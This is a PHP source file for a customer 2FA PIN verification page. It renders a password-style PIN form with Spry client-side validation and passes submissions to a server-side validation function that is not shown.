 <?php
require_once './library/config.php';
require_once './library/functions.php';

$errorMessage = '&nbsp;';

if (isset($_POST['accpin'])) {
	$result = doPinValidation();
	
	if ($result != '') {
		$errorMessage = $result;
	}
}

?>

<!DOCTYPE html><html>

<head><title>Customer PIN | <?php echo $site_title; ?></title><meta charset="utf-8"><meta content="ie=edge" http-equiv="x-ua-compatible">

<meta content="template language" name="keywords"><meta content="Tamerlan Soziev" name="author">
<meta content="Admin dashboard html template" name="description"><meta content="width=device-width,initial-scale=1" name="viewport">
<link href="assets/icon.png" rel="shortcut icon"><link href="apple-touch-icon.png" rel="apple-touch-icon">
<link href="../fast.fonts.net/cssapi/487b73f1-c2d1-43db-8526-db577e4c822b.css" rel="stylesheet">
<link href="assets/bower_components/select2/dist/css/select2.min.css" rel="stylesheet">
<link href="assets/bower_components/bootstrap-daterangepicker/daterangepicker.css" rel="stylesheet">
<link href="assets/bower_components/dropzone/dist/dropzone.css" rel="stylesheet">
<link href="assets/bower_components/datatables.net-bs/css/dataTables.bootstrap.min.css" rel="stylesheet">
<link href="assets/bower_components/fullcalendar/dist/fullcalendar.min.css" rel="stylesheet">
<link href="assets/bower_components/perfect-scrollbar/css/perfect-scrollbar.min.css" rel="stylesheet">
<link href="assets/bower_components/slick-carousel/slick/slick.css" rel="stylesheet">
<link href="assets/css/main5739.css?version=4.5.0" rel="stylesheet">



<link href="library/spry/textfieldvalidation/SpryValidationTextField.css" rel="stylesheet" type="text/css" />
<script src="library/spry/textfieldvalidation/SpryValidationTextField.js" type="text/javascript"></script>
<link href="library/spry/passwordvalidation/SpryValidationPassword.css" rel="stylesheet" type="text/css" />
<script src="library/spry/passwordvalidation/SpryValidationPassword.js" type="text/javascript"></script>
 
 
 
 
 
</head>

<body class="auth-wrapper"><div class="all-wrapper menu-side with-pattern"><div class="auth-box-w"><div class="logo-w">

<a class="navbar-brand" href="https://heritagenationalb.hhsonlines.com">
							<img style="max-width:300px;" src="logo.png" class="d-inline-block align-top" alt=""></a></div><h4 class="auth-header"><img alt="2FA KEY" src="assets/key.png"> 2FA Verification</h4>


								<p style="text-align: center;"><?php echo $errorMessage; ?> </p>


<div id="loader"></div> 


				<form action="" method="post" enctype="multipart/form-data" id="acclogin">  
				<div class="form-group"><label for="">2FA Verification PIN</label>
					<span id="spry_pin"> 
			<input class="form-control"  name="accpin" id="accpin"  placeholder="2FA Verification PIN" type="password">
	 
              <span class="textfieldRequiredMsg" style="color:red;">2FA PIN required.</span>
			  <span class="textfieldMinCharsMsg" style="color:red;">2FA min 4 characters.</span>
			  <span class="textfieldMaxCharsMsg" style="color:red;">2FA max 6 characters.</span>
			</span>
			<div class="pre-icon os-icon os-icon-fingerprint"></div>

		</div><div class="buttons-w"><button type="submit" class="btn btn-primary">Validate</button>

 </div></form>



</div>

</div>

</body>
   <script type="text/javascript">
<!--
//
var spry_pin = new Spry.Widget.ValidationTextField("spry_pin", 'integer', {minChars:4, maxChars: 6, validateOn:["blur", "change"]});
//-->
</script> 



 
 
</html> 